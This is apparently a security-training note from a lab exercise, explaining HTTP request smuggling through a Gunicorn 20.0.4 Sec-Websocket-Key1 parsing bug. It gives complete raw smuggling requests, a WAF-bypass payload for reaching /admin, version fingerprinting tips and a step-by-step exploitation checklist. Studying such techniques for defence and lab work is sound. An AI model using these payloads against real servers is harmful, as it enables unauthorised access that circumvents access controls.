Request smuggling doesn't only arise from CL/TE parsing differences. Software-specific bugs can also cause incorrect request length parsing, leading to desynchronization.
This section covers vulnerabilities in specific software implementations that enable request smuggling attacks.
| Property | Value |
|---|---|
| Software | Gunicorn (Python WSGI HTTP Server) |
| Affected Version | 20.0.4 |
| Bug | Sec-Websocket-Key1 header truncates body to 8 bytes |
| Impact | Request smuggling, WAF bypass |
When Gunicorn 20.0.4 encounters the Sec-Websocket-Key1 HTTP header:
- It ignores the
Content-Lengthheader - It ignores the
Transfer-Encodingheader - It forces request body length to exactly 8 bytes
This is a legacy WebSocket handshake header that triggers buggy behavior.
Reverse Proxy: Uses CL header → parses full body
Gunicorn: Sees Sec-Websocket-Key1 → forces 8-byte body
This creates desynchronization even when both systems "support" proper header parsing.
Request 1 (Smuggling):
GET / HTTP/1.1
Host: gunicorn.htb
Content-Length: 49
Sec-Websocket-Key1: x
xxxxxxxxGET /404 HTTP/1.1
Host: gunicorn.htb
Note:
xxxxxxxx= exactly 8 characters (padding for Gunicorn's forced body length)
Request 2 (Probe):
GET / HTTP/1.1
Host: gunicorn.htb- Create tab group in Burp Repeater
- Send both requests via single connection
- Observe responses
| Request | Expected Path | Actual Response |
|---|---|---|
| Request 1 | GET / | 200 OK (index page) |
| Request 2 | GET / | 404 Not Found ← Smuggled! |
If Request 2 returns 404 instead of 200, the smuggled /404 request was processed.
[Request 1]
GET / HTTP/1.1
Host: gunicorn.htb
Content-Length: 49
Sec-Websocket-Key1: x
Body (49 bytes): "xxxxxxxxGET /404 HTTP/1.1\r\nHost: gunicorn.htb\r\n\r\n"
[Request 2]
GET / HTTP/1.1
Host: gunicorn.htbProxy sees: Two GET requests to /
[Request 1]
GET / HTTP/1.1
Host: gunicorn.htb
Content-Length: 49
Sec-Websocket-Key1: x
Body (8 bytes only!): "xxxxxxxx"
[Request 2 - SMUGGLED]
GET /404 HTTP/1.1
Host: gunicorn.htb
[Request 3]
GET / HTTP/1.1
Host: gunicorn.htbGunicorn sees: Three requests - including smuggled /404!
- WAF blocks requests with
adminin URL - Goal: Access
/adminpanel
Request 1 (Smuggling):
GET / HTTP/1.1
Host: <TARGET>
Content-Length: 59
Sec-Websocket-Key1: x
xxxxxxxxGET /admin HTTP/1.1
Host: <TARGET>
Request 2 (Trigger):
GET / HTTP/1.1
Host: <TARGET>xxxxxxxx = 8 bytes
GET /admin HTTP/1.1\r\n = 22 bytes
Host: <TARGET>\r\n = ~20 bytes (varies)
\r\n = 2 bytes
──────────
~52-60 bytes
Adjust CL to match your target hostname.
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Attacker │ │ WAF/Proxy │ │ Gunicorn │
└──────┬──────┘ └──────┬──────┘ └──────┬──────┘
│ │ │
│ GET / HTTP/1.1 │ │
│ CL: 59 │ │
│ Sec-Websocket-Key1: x │ │
│ Body: xxxxxxxxGET /admin... │ │
│───────────────────────────────>│ │
│ │ │
│ │ Uses CL: 59 │
│ │ Full body parsed │
│ │ Sees: GET / │
│ │ No /admin in URL → ALLOW │
│ │───────────────────────────────>│
│ │ │
│ │ │ Sec-Websocket-Key1
│ │ │ triggers bug!
│ │ │ Body forced to 8 bytes
│ │ │ "xxxxxxxx" only
│ │ │
│ │ │ Leftover:
│ │ │ "GET /admin..."
│ │ │
│ GET / HTTP/1.1 │ │
│───────────────────────────────>│ │
│ │ Sees: GET / → ALLOW │
│ │───────────────────────────────>│
│ │ │
│ │ │ Processes smuggled
│ │ │ GET /admin first!
│ │ │
│<───────────────────────────────│<───────────────────────────────│
│ Response: Admin Panel! │ │
Check response headers:
HTTP/1.1 200 OK
Server: gunicorn/20.0.4The vulnerability affects Gunicorn 20.0.4 specifically.
# From response headers
Server: gunicorn/20.0.4 ← Vulnerable!
Server: gunicorn/20.1.0 ← Likely patchedThe Sec-Websocket-Key1 bug forces exactly 8 bytes for the body:
xxxxxxxx = 8 characters = 8 bytes
You can use any 8 characters:
xxxxxxxxAAAAAAAA12345678(8 spaces)
[8 bytes padding][Smuggled Request]
↓ ↓
xxxxxxxx GET /admin HTTP/1.1...
| Software | CVE | Description |
|---|---|---|
| Gunicorn 20.0.4 | - | Sec-Websocket-Key1 bug |
| HAProxy | CVE-2021-40346 | Integer overflow in content-length |
| Apache | CVE-2022-22720 | Request splitting |
| Node.js | CVE-2022-32215 | HTTP Request Smuggling |
| Nginx | Various | Chunked encoding edge cases |
When targeting unknown infrastructure:
- Identify server software from headers
- Research known smuggling bugs
- Test version-specific payloads
Same as TE.CL:
- Disable "Update Content-Length"
- Create tab group
- Send in sequence (single connection)
If CL/TE techniques fail:
- Check for software-specific bugs
- Test unusual headers
- Research CVEs for identified software
- Identify server:
Server: gunicorn/20.0.4 - Confirm WAF blocks
/admin - Test Sec-Websocket-Key1 bug with
/404smuggle - Verify Request 2 returns 404 (smuggled request processed)
- Exploit by smuggling
GET /admininstead - Access admin panel via Response 2